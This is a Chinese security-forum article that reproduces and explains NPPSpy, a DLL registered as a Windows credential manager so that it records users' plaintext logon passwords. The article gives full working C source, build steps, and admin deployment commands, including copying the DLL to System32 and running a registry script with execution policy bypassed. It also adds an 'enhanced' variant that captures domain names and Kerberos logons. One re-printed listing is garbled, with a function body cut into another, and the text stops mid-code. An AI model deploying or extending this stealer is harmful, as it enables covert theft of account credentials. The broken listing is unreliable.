奇安信攻防社区-对获取 Windows 明文密码的小工具 NPPSpy 的一次深究

对获取 Windows 明文密码的小工具 NPPSpy 的一次深究

本文是对 @0gtweet 大神发布在twitter上的获取 Windows 明文账户密码的小工具NPPSpy的一次深究，https://twitter.com/0gtweet/status/1465282548494487554

NPPSpy的深究
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0x00 前言
-------

前几天刷 twitter 的时候，发现 `@0gtweet` 大佬发了一个视频，关于 win11 获取明文账户密码的，链接为 <https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy> ，于是复现了一波。但当我打开大佬写的c代码的时候，我大大的脑袋，充满了大大的问号？搜了一圈，没看到有讲原理的文章，于是有了本文。

> 本人知识有限，如果有错误的地方，请各位大佬之处！

![image-20211220001743984](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-967a0d75ad9508d6d7d2908f6c19910fd762c918.png)

0x01 复现（可选）
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在探究其原理前，我们先简单的复现一波。如果有的同学想直接看原理，可以跳过本节。

1. 去 <https://github.com/gtworek/PSBits/tree/master/PasswordStealing> 把 `NPPSPy` 文件夹下载下来
    
    ![image-20211220004138570](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-8aeeb4615ffa172cf0e2e8c13c4fda8e59d514fb.png)
2. 用**管理员权限**，把 `NPPSPY.dll` 复制到 `C:\Windows\System32` 目录下
    
    ```bash
    copy .\NPPSPY.dll C:\windows\System32\
    ```
    
    ![image-20211220004028076](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d0ccb926f10998bb4053adefca5bfb9f0ad76ab8.png)
3. 用**管理员权限**，执行 `ConfigureRegistrySettings.ps1` 脚本
    
    ```bash
       powershell.exe -Exec Bypass .\ConfigureRegistrySettings.ps1
    ```
    
    ![image-20211220003947606](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-7ab403dc173c78eac5e29b6e6d14b145a6234ab9.png)
4. 注销账户/重启系统，重新登录
5. 在 C 盘下可以看到 `NPPSpy.txt`，里面记录了刚刚登录的账号和密码  
    ![image-20211220003811497](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-feb17e5d63252814039505f8df71359e20963880.png)

0x02 编译（可选）
-----------

这一节内容同样是可选的，如果已经会了的同学，可以直接跳过。

> 编译的方法有两种，一种是作者在readme中写到的，直接用 `cl.exe` ，另一种就是我们平时用vs的动态链接库项目模板了。当然，这两者的前提是，都装了vs。

这里先把`NPPSPy.c`的代码贴出来，代码的具体含义会在后面一一讲解，这里先跳过。

```cpp
#include <Windows.h>

// from npapi.h
#define WNNC_SPEC_VERSION                0x00000001
#define WNNC_SPEC_VERSION51              0x00050001
#define WNNC_NET_TYPE                    0x00000002
#define WNNC_START                       0x0000000C
#define WNNC_WAIT_FOR_START              0x00000001

//from ntdef.h
typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

// from NTSecAPI.h
typedef enum _MSV1_0_LOGON_SUBMIT_TYPE
{
    MsV1_0InteractiveLogon = 2,
    MsV1_0Lm20Logon,
    MsV1_0NetworkLogon,
    MsV1_0SubAuthLogon,
    MsV1_0WorkstationUnlockLogon = 7,
    MsV1_0S4ULogon = 12,
    MsV1_0VirtualLogon = 82,
    MsV1_0NoElevationLogon = 83,
    MsV1_0LuidLogon = 84,
} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;

// from NTSecAPI.h
typedef struct _MSV1_0_INTERACTIVE_LOGON
{
    MSV1_0_LOGON_SUBMIT_TYPE MessageType;
    UNICODE_STRING LogonDomainName;
    UNICODE_STRING UserName;
    UNICODE_STRING Password;
} MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON;

void SavePassword(PUNICODE_STRING username, PUNICODE_STRING password)
{
    HANDLE hFile;
    DWORD dwWritten;

hFile = CreateFile(TEXT("C:\\NPPSpy.txt"),
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

if (hFile != INVALID_HANDLE_VALUE)
    {
        SetFilePointer(hFile, 0, NULL, FILE_END);
        WriteFile(hFile, username->Buffer, username->Length, &dwWritten, 0);
        WriteFile(hFile, L" -> ", 8, &dwWritten, 0);
        WriteFile(hFile, password->Buffer, password->Length, &dwWritten, 0);
        WriteFile(hFile, L"\r\n", 4, &dwWritten, 0);
        CloseHandle(hFile);
    }
}

__declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(
    DWORD nIndex
)
{
    switch (nIndex)
    {
        case WNNC_SPEC_VERSION:
            return WNNC_SPEC_VERSION51;

case WNNC_NET_TYPE:
            return WNNC_CRED_MANAGER;

case WNNC_START:
            return WNNC_WAIT_FOR_START;

default:
            return 0;
    }
}

__declspec(dllexport)
DWORD
APIENTRY
NPLogonNotify(
    PLUID lpLogonId,
    LPCWSTR lpAuthInfoType,
    LPVOID lpAuthInfo,
    LPCWSTR lpPrevAuthInfoType,
    LPVOID lpPrevAuthInfo,
    LPWSTR lpStationName,
    LPVOID StationHandle,
    LPWSTR* lpLogonScript
)
{
    SavePassword(
        &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
        &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
    );
    lpLogonScript = NULL;
    return WN_SUCCESS;
}

```

### 命令行(cl.exe)

打开开始菜单的`Visual Studio 2019`文件夹下的`x64 Native Tools Command Prompt for VS 2019`

![image-20211220004620166](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-df1ff25ee1eb133476eb029a5d9aada0944cbbaa.png)

执行以下命令即可生成dll：

```bash
cl.exe /LD NPPSpy.c
```

![image-20211220004914855](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-bc13d3f58f930fe0aa661ff5709626474c26e761.png)

### vs2019

![image-20211220004944753](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-6bfd105af6633cdbe337a6d7323d231c6efacab7.png)

这里用模板新建完成之后，会看到两个头文件，两个源文件。其中的 `pch.h` 是用于预编译，是处于性能的考虑。

![image-20211220010448244](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-49ccc5b1da8d1c616e07f2af2b52fe780ba6ba17.png)

因此我们需要做出选择，要不要用自带的模板（预编译头）？

#### 不用预编译头

如果不用的话，就把其中的头文件和源文件都删掉，把 `NPPSpy.c` 拖进源文件中，然后右键项目—&gt;属性—&gt;配置属性—&gt;C/C++—&gt;预编译头—&gt;预编译头右边选择`不使用预编译头`

![image-20211220005207839](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-4effbd2e91d058889423051fc417fdb5666764cd.png)

![image-20211220005243812](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-ea1599557a2469371397d8ff9213d5d4e70435d5.png)

这样就可以直接在选择完编译版本和架构之后，直接生成 dll 了

![image-20211220005501419](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-0ac2338e36ad669316b4d121b20c0ab91047fff5.png)

![image-20211220005517186](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-7c80b2560e80ec95c298c4c263f06d704037b1f8.png)

在项目文件夹下可以找到对应的dll

![image-20211220005644681](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-ae9909aef68d52cbb791842dc3077ece1e9ceaee.png)

#### 用默认的预编译头

这里只需要注意一点，因为源文件后缀是`.cpp`，因此需要在 `NPLogonNotify` 和 `NPGetCaps` 函数声明前面加上 `extern "C"`，告诉编译器这部分代码按C语言的进行编译，不然会有问题。

> 这里我新建了一个项目，名称是`CMPSpy`，并且把 `dllmain.cpp` 改名成了 `cmpspy.cpp`，如下图

![image-20211220010153513](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-97a9de865713f874b52658b8302b1099eaef2736.png)

然后我把原作者的 `NPPSPy.c` 代码内容，拆开，放到了 `framework.h` 和 `cmpspy.cpp` 中

`framework.h` 文件代码如下：

```cpp
#pragma once

#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>

//from ntdef.h
typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

// 注意这里新增了 extern "C" 
extern "C" __declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(
    DWORD nIndex
);

// 注意这里新增了 extern "C" 
extern "C" __declspec(dllexport)
DWORD
APIENTRY
NPLogonNotify(
    PLUID lpLogonId,
    LPCWSTR lpAuthInfoType,
    LPVOID lpAuthInfo,
    LPCWSTR lpPrevAuthInfoType,
    LPVOID lpPrevAuthInfo,
    LPWSTR lpStationName,
    LPVOID StationHandle,
    LPWSTR * lpLogonScript
);
```

`cmpspy.cpp` 代码如下：

```cpp
// cmpspy.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

void SavePassword(PUNICODE_STRING logondomainname, PUNICODE_STRING username, PUNICODE_STRING password)
{
    HANDLE hFile;
    DWORD dwWritten;

hFile = CreateFile(TEXT("C:\\CMPSpy.txt"),
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

if (hFile != INVALID_HANDLE_VALUE)
    {
        SetFilePointer(hFile, 0, NULL, FILE_END);
        if (logondomainname->Length > 0)
        {
            WriteFile(hFile, logondomainname->Buffer, logondomainname->Length, &dwWritten, 0);
            WriteFile(hFile, L" -> ", 8, &dwWritten, 0);
        }

WriteFile(hFile, username->Buffer, username->Length, &dwWritten, 0);
        WriteFile(hFile, L" -> ", 8, &dwWritten, 0);
        WriteFile(hFile, password->Buffer, password->Length, &dwWritten, 0);
        WriteFile(hFile, L"\r\n", 4, &dwWritten, 0);
        CloseHandle(hFile);
    }
}

DWORD
APIENTRY
NPGetCaps(
    DWORD nIndex
)
{
    switch (nIndex)
    {
    case WNNC_SPEC_VERSION:
        return WNNC_SPEC_VERSION51;

case WNNC_NET_TYPE:
        return WNNC_CRED_MANAGER;

case WNNC_START:
        return WNNC_WAIT_FOR_START;

default:
        return 0;
    }
}

DWORD
APIENTRY
NPLogonNotify(
    PLUID lpLogonId,
    LPCWSTR lpAuthInfoType,
    LPVOID lpAuthInfo,
    LPCWSTR lpPrevAuthInfoType,
    LPVOID lpPrevAuthInfo,
    LPWSTR lpStationName,
    LPVOID StationHandle,
    LPWSTR* lpLogonScript
)
{
    SavePassword(
        &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->LogonDomainName),
        &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
        &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
    );
    lpLogonScript = NULL;
    return WN_SUCCESS;
}
```

眼尖的同学可能发现了，上面的代码中，我把域名也加进去了。后面的编译生成操作，和前面一样，这里就不多说了。

0x03 原理探讨
---------

ok，经过前面的复现和编译，接下来我们研究一下原理。

在 readme 中，作者贴了一个 youtube 的视频链接：<https://youtu.be/ggY3srD9dYs>

里面作者讲到这个利用的大概原理：

`Winlogon.exe`会检查`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`的`mpnotify`值，然后启动对应的值的exe。如果为没有该字段，就运行 `mpnotify.exe`。然后 `mpnotify.exe` 读取注册表中`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order\ProviderOrder`的dll，然后打开RPC通道，winlogon与之绑定并把密码传递过去，`mpnotify.exe`再把该密码转发到dll中。

大概如下图：

![image-20211220103218928](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-06511e4fffe4faf2848d7557f04368f1786ebb39.png)

于是就有了以下的利用步骤：

1. 用户输入密码
2. winlogon 读取注册表 打开 mpnotify.exe
3. mpnotify 读取注册表对应的 dll，读取到了我们自己写的dll
    
    > 每个dll都提供了一种方式，用于通知不同的 window 组件关于身份认证相关的事件（比如登录、修改密码等）
4. mpnotify 打开 RPC 通道
5. winlogon 通过该通道发送认证信息
6. mpnotify 转发给 DLL
7. 我们的 DLL 获取到认证信息，把密码存储到硬盘中

至于是不是真滴是这样子呢？我们用当前用户打开`Process Monitor`，然后切换用户，再切换回来

再设置一下过滤

![image-20211220013915955](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-4627419ebffea19111021d94ea1970c7cbaf36fc.png)

可以看到效果确实如此。

![image-20211220013927060](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-b96d310a0f669fe96dfd06fed2e4c46fba94badc.png)

原理大概是这样了，那作者是如何根据这个原理写出的代码，和修改注册表的呢？

0x04 倒推实现过程
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这一小节，我会在作者已经实现效果的前提下，倒推出作者是如何发现并实现的过程，有点事后诸葛亮的感觉。

其实主要是分析，`NPPSPy.c`代码为啥要这样写，注册表为啥要这样设置。

**注意：整个过程，会穿插大量的微软官方文档，跟着文档跳来跳去就行！！**

### Credential Manager（凭证管理器）

首先是 <https://docs.microsoft.com/en-us/windows/win32/secauthn/credential-manager> 的`Credential Manager（凭证管理器）`

![image-20211220104054277](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-8f0da9a8c0d813b73af890b41135efadb6960eac.png)

主要关注三点：

1. `Credential Manager（凭证管理器）`和`Network Provider（网络提供商）`很像；
2. 当身份验证信息更改时（用户登录或修改密码），Winlogon 会通知 `Multiple Provider Router(MPR)`，MPR 为每个`Credential Manager（凭证管理器）`调用对应的处理函数；
3. 如果要实现一个 Credential Manager ，需要实现对应的 API。

这里就会有两个疑惑，`Network Provider（网络提供商）`是啥？`Multiple Provider Router(MPR)`是啥？别急，我们慢慢看。

### Network Providers 和 Multiple Provider Router

先看 `Network Providers`，在左边目录可以找到两个相关的内容--`Network Provider API`和`Network Providers`，链接为 <https://docs.microsoft.com/en-us/windows/win32/secauthn/network-provider-api> 和 [https://docs.microsoft.com/en-us/windows/win32/secauthn/network-providers。我们分别点进去看看](https://docs.microsoft.com/en-us/windows/win32/secauthn/network-providers%E3%80%82%E6%88%91%E4%BB%AC%E5%88%86%E5%88%AB%E7%82%B9%E8%BF%9B%E5%8E%BB%E7%9C%8B%E7%9C%8B)。

![image-20211220110202875](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d01c2ae7100f55f817385ad381eb3631fe884059.png)

![image-20211220110641903](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-eb7ec07926fd01daebb1f31b04c8ae172c66006e.png)

总的来说，就以下几点：

1. `Network Provider`是一个支持特定网络协议的DLL，里面封装了网络操作的具体细节。因此，Windows 系统就可以支持多种网络协议，而无需了解每个网络协议相关细节了。要支持新的网络协议，只需生成一个 Network Provider DLL。当然，该 DLL 需要实现 `Network Provider API`，这使其能够与 Windows 系统用标准网络请求进行交互，例如连接或断开连接请求等。
2. `Multiple Provider Router(MPR)`就是用于处理 Windows 系统和已安装的 Network Provider 之间的通信。对应到上面作者说的，开 RPC 通道的，估计就是这玩意。

至此，我们先捋一捋大体的思路，先忽略具体的细节。

Windows 系统为了方便支持多种网络协议，引入了 Network Provider 的概念，如果要支持新的网络协议，只需要增加一个实现了 Network Provicer API 的 DLL就行。但这里我们的最终目的要获取明文的密码，所以我们关注的重点在和 Network Provider 很像的 Credential Manager 身上。

### Credential Manager API

同样地，我们要用 Credential Manager ，就需要实现 Credential Manager API ，生成一个DLL。链接在：<https://docs.microsoft.com/en-us/windows/win32/secauthn/credential-management-api>

![image-20211220113925993](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-a0cf6f150516d5f6ec6bf4aadf3359d1d70027bf.png)

这里有两个函数，`NPLogonNotify` 和 `NPPasswordChangeNofity`，分别对应登录和密码修改，链接是 <https://docs.microsoft.com/en-us/windows/desktop/api/Npapi/nf-npapi-nplogonnotify> 和 <https://docs.microsoft.com/en-us/windows/desktop/api/Npapi/nf-npapi-nppasswordchangenotify>

这两个具体的api，可以待会再说。先看看最底下那段话，给了两个链接，**实现一个 Credenital Manager** <https://docs.microsoft.com/en-us/windows/win32/secauthn/implementing-a-credential-manager> 和 **注册 Credential Manager** <https://docs.microsoft.com/en-us/windows/win32/secauthn/registering-network-providers-and-credential-managers>

### NPGetCaps

在 **实现一个 Credenital Manager** <https://docs.microsoft.com/en-us/windows/win32/secauthn/implementing-a-credential-manager> 下面提到，Credential Manager 通过将 `nIndex` 参数设置为 `WNNC_START` 调用`NPGetCaps`，**告诉 MPR 我们实现的 Credenital Manager 啥时候启动**。

![image-20211220114734171](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-4e4726bb6ae310349de36cfb8a9b411ee52b7ac8.png)

我们可以点击文中的`NPGetCaps`链接 <https://docs.microsoft.com/en-us/windows/desktop/api/Npapi/nf-npapi-npgetcaps> ，看看还需要处理哪些`nIndex`

首先`WNNC_START`，让它return `0x1`，表示 provider 已经启动了

![image-20211220115754721](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-268a549eaa42e68a25e6b56813616271870aceab.png)

然后是`WNNC_SPEC_VERSION`，表示 Credential Manager 支持的 WNet API 版本，这里直接 return `WNNC_SPEC_VERSION51` 即可

![image-20211220115611227](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-abd2d87b4ac5790545a74ce59048113c96c6d2f5.png)

最后是`WNNC_NET_TYPE`，该值表示 Network Provider 支持的网络类型，这里理论上应该返回 Credential Manager。

![image-20211220115928838](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-f5f80d5bcb9b728e57a8736a60eba5a86e215c23.png)

但是我找完它列出来的所有的值，根本没有找到 `NPPSpy.c` 代码里面写的 `WNNC_CRED_MANAGER`

![image-20211220120148493](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-e4137597f99462ba5c795e8330f980e14a053b19.png)

![image-20211220120055415](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d089bd774cba73cb973d899bb4f5921a9d825d74.png)

最后搞得实在没有办法了，我直接去 twitter 上找作者请教

![image-20211220120403585](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-414640338841b09cac62246bf413836f9fc02cb7.png)

作者也很实诚，直接跟我说，这tm是硬测出来的。。。那我能怎么办？大佬流批呗！！！！

剩下的`nIndex`，对于实现一个 Credential Manager 来说，没啥用，所以直接返回0就行。

因此，这段`NPGetCaps`函数的代码，我们就明白是啥意思了

```cpp
__declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(
    DWORD nIndex
)
{
    switch (nIndex)
    {
        case WNNC_SPEC_VERSION:
            return WNNC_SPEC_VERSION51;

case WNNC_NET_TYPE:
            return WNNC_CRED_MANAGER;

case WNNC_START:
            return WNNC_WAIT_FOR_START;

default:
            return 0;
    }
}
```

### Authentication Registry Keys

接着看 **注册 Credential Manager** <https://docs.microsoft.com/en-us/windows/win32/secauthn/registering-network-providers-and-credential-managers> ，这里提到，我们创建完 Network Provider 或者 Credential Manager 之后，应该修改注册表，这样 MPR 在启动时就会自己检查注册表并加载对应的 Network Provider 或者 Credential Manager 了。

> 因为 network providers 和 credential managers 是密切相关的，所以它们**注册在注册表的相同子项中**。具体是哪，待会就知道了。

![image-20211220143206187](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-b9e816e58dde438d6163db90fcc9b9274171667b.png)

具体修改哪些注册表呢？可以根据文中给出的链接 Authentication Registry Keys <https://docs.microsoft.com/en-us/windows/win32/secauthn/authentication-registry-keys> 得到。

主要有两块：

1. `HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order`
2. `HKLM\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider`

首先是第一个`HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order`，我们新增的 network providers 或 credential managers 的**名称** 应该填到 `ProviderOrder` 列表的后面。当 MPR 循环遍历 Providers 时，就会按照此列表中出现的顺序进行调用。

![image-20211220145206383](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-1a2f9207c3268c062be8678df5b73f49da253e47.png)

从下图可以看到，对于我的 win10 虚拟机来说，已经内置了一堆的 `ProviderOrder`。上面提到，network providers 和 credential managers 是注册在相同的子项中的，因此对于我们的 credential managers 来说，我们也需要把名字填到这里。

![image-20211220145316493](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-661ea8b68e3cd5f373ba262b0725ac97c4d6d56f.png)

加上我们的名字之后如下：

![image-20211220150258335](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-11f5af5d5f8f20f54d2fd511714f5fa44706de18.png)

在 `ProviderOrder` 中指定的 provider 名字还不够，我们还得去 `HKLM\SYSTEM\CurrentControlSet\Services` 新建一个和 provider 名字一致的注册表项

![image-20211220145920100](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d7521a42756ce3db9a9aa3c861f6c97f3fc3a794.png)

且该项至少要包含三个key，`Name`、`ProviderPath`和`Class`

> `AuthentProviderPath` 是一个可选项，对于 credential managers 来说，如果不指定，就用`ProviderPath`的值代替

![image-20211220150522204](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-0b0f2909719951214bc5c438ed76bb62a8718db1.png)

`Name`就不用多说了，Provider 的名称，`ProviderPath`是 DLL 的路径。对于`ProviderPath`来说，如果我们填入的值是引用了变量的，即用`%%`括起来的，如果想被解析，则该值的类型需要为`REG_EXPAND_SZ`，不能为`REG_SZ`。

举个例子，如果值是`%SystemRoot%\system32`，类型是`REG_SZ`，那最后的结果就是`%SystemRoot%\system32`；如果类型是`REG_EXPAND_SZ`，那结果可能是`C:\WINDOWS\system32`。

> 这里我在测试的时候，把DLL放在桌面上都是可以的。

接着是`Class`，文档中给出了几个可选的值，`WN_NETWORK_CLASS`, `WN_CREDENTIAL_CLASS`, `WN_PRIMARY_AUTHENT_CLASS`, 和 `WN_SERVICE_CLASS`，因此很明显，就是`WN_CREDENTIAL_CLASS`。

但从文档下面的Example来看，这里填的是 DWORD 类型的值，`WN_NETWORK_CLASS`是第一个，值为`0x00000001`，而`WN_CREDENTIAL_CLASS`是第二个，我只能硬猜，值为`0x00000002`了

![image-20211220151226703](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-b7e5a5d321ff73a432c848a12ee68e7153f7cca5.png)

当然，之后我搜了一下`WN_CREDENTIAL_CLASS`，发现确实是`0x00000002`

![image-20211220151323239](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-73a20c83aa7a4f889e04fd4696bee76ffd9be987.png)

![image-20211220161739253](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-94eaa65422b5632a9fc3a349f37485f1c6c82794.png)

填完之后效果如下：

![image-20211220150806948](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-92e494c8fe3c88e0cbbbde6e11abbe6455f9763e.png)

### `NPLogonNotify`

至此，我们开始看具体函数实现 `NPLogonNotify`，链接是 <https://docs.microsoft.com/en-us/windows/desktop/api/Npapi/nf-npapi-nplogonnotify>

直接看函数声明

```cpp
DWORD NPLogonNotify(
  [in]  PLUID   lpLogonId,
  [in]  LPCWSTR lpAuthentInfoType,
  [in]  LPVOID  lpAuthentInfo,
  [in]  LPCWSTR lpPreviousAuthentInfoType,
  [in]  LPVOID  lpPreviousAuthentInfo,
  [in]  LPWSTR  lpStationName,
  [in]  LPVOID  StationHandle,
  [out] LPWSTR  *lpLogonScript
);
```

这里我们只关注`lpAuthentInfo`，它是一个指向登录成功的用户的凭证的指针，其结构为 `MSV1_0_INTERACTIVE_LOGON`: [https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-msv1\_0\_interactive\_logon](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-msv1_0_interactive_logon) 或 `KERB_INTERACTIVE_LOGON`: [https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-kerb\_interactive\_logon](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-kerb_interactive_logon)

![image-20211220154140628](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-361f35a9e65688bcf7051ce5de55f57698c750a9.png)

这里以`_MSV1_0_INTERACTIVE_LOGON`为例子，点击该链接就可以看到其定义

```cpp
typedef struct _MSV1_0_INTERACTIVE_LOGON {
  MSV1_0_LOGON_SUBMIT_TYPE MessageType;
  UNICODE_STRING           LogonDomainName;
  UNICODE_STRING           UserName;
  UNICODE_STRING           Password;
} MSV1_0_INTERACTIVE_LOGON, *PMSV1_0_INTERACTIVE_LOGON;
```

里面又用到了`MSV1_0_LOGON_SUBMIT_TYPE` [https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ne-ntsecapi-msv1\_0\_logon\_submit\_type](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ne-ntsecapi-msv1_0_logon_submit_type) 和 `UNICODE_STRING` [https://docs.microsoft.com/en-us/windows/win32/api/subauth/ns-subauth-unicode\_string](https://docs.microsoft.com/en-us/windows/win32/api/subauth/ns-subauth-unicode_string)

继续查看，可以拿到对应的定义。

```cpp
typedef enum _MSV1_0_LOGON_SUBMIT_TYPE {
  MsV1_0InteractiveLogon,
  MsV1_0Lm20Logon,
  MsV1_0NetworkLogon,
  MsV1_0SubAuthLogon,
  MsV1_0WorkstationUnlockLogon,
  MsV1_0S4ULogon,
  MsV1_0VirtualLogon,
  MsV1_0NoElevationLogon,
  MsV1_0LuidLogon
} MSV1_0_LOGON_SUBMIT_TYPE, *PMSV1_0_LOGON_SUBMIT_TYPE;

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
```

当然，这里的`_MSV1_0_LOGON_SUBMIT_TYPE`需要简单修改一下，文档里面说了，这东西来自于`ntsecapi.h`

![image-20211220162656502](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d85378bddb0c4268fb758d89bcac577aea08f975.png)

所以我们在vs项目中，直接 include 它，然后转到文档。

![image-20211220162409992](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-110f2234f4e4168f1742ac154640ab93cde61b60.png)

然后直接搜 `_MSV1_0_LOGON_SUBMIT_TYPE`，就可以看到 `NTSecAPI.h` 里面是如何定义的了，直接拿出来用就行

![image-20211220162146661](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-7665d3f1f98fb5c24a82d74924cf36d4b991cb6d.png)

```cpp
typedef enum _MSV1_0_LOGON_SUBMIT_TYPE
{
    MsV1_0InteractiveLogon = 2,
    MsV1_0Lm20Logon,
    MsV1_0NetworkLogon,
    MsV1_0SubAuthLogon,
    MsV1_0WorkstationUnlockLogon = 7,
    MsV1_0S4ULogon = 12,
    MsV1_0VirtualLogon = 82,
    MsV1_0NoElevationLogon = 83,
    MsV1_0LuidLogon = 84,
} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;
```

> 这里可能有同学就会问了，我直接 `#include NTSecAPI.h` 不行吗？何必搞得这么复杂？可以的，只不过直接 include 整个头文件，这样生成出来的 DLL 文件会大一点而已。

同理，对于`NPGetCaps`函数里面用到的一些变量，也可以include npapi.h 去里面找，这里就不再说了，直接看图

![image-20211220162842525](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-9ff9920ded7b9bde4af9071331746ef024fa6dd9.png)

![image-20211220163317277](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-4f322b26f3ae602c4880de222b2bb5b59733496c.png)

只需要记住一点，看完了，记得把 include 的代码给删掉，不然就出现宏重定义了

对于这个函数，还有最后一个要注意的是`lpLogonScript`，把它赋值为NULL，让MPR释放内存即可。

![image-20211220163522836](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-536cb183a21b665361888c6b8544ae82b45cca1e.png)

至此，作者`NPPSpy.c`的代码，我想大家应该都明白是啥意思了吧。那个`SavePassword`函数就单纯是一个写文件的操作，我这里就不做过多的赘述了。

```cpp
#include <Windows.h>

//from ntdef.h
typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

void SavePassword(PUNICODE_STRING username, PUNICODE_STRING password)
{
    HANDLE hFile;
    DWORD dwWritten;

hFile = CreateFile(TEXT("C:\\NPPSpy.txt"),
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

__declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(
    DWORD nIndex
)
{
    switch (nIndex)
    {
        case WNNC_SPEC_VERSION:
            return WNNC_SPEC_VERSION51;

case WNNC_NET_TYPE:
            return WNNC_CRED_MANAGER;

case WNNC_START:
            return WNNC_WAIT_FOR_START;

default:
            return 0;
    }
}

```

### 小结

ok，小结一下啊，至此，我们已经学习完了，整个利用的大概原理，作者`NPPSpy.c`的代码为啥要这样写，注册表为啥要这样修改。唯一的不足就是`WNNC_CRED_MANAGER`是作者测出来的。。。

0x05 增强
-------

原版的`NPPSpy.c`，一是没有把 `LogonDomainName` 加上，而且没有处理`Kerberos:Interactive`，这里我都加上了。实现起来也很简单，给`NPlogonNotify`函数加上一些小判断就行。

![image-20211220172100888](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-e1f51aac317e2bbb7344b83ca9f7e68af6548fe0.png)

里面的`_KERB_INTERACTIVE_LOGON`定义，可以参考上面的分析，直接去`NTSecAPI.h`里面 copy 出来就行

`framework.h`如下

```cpp
#pragma once

#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
#include <iostream>
using namespace std;

//from ntdef.h
typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

// from NTSecAPI.h
typedef enum _KERB_LOGON_SUBMIT_TYPE {
    KerbInteractiveLogon = 2,
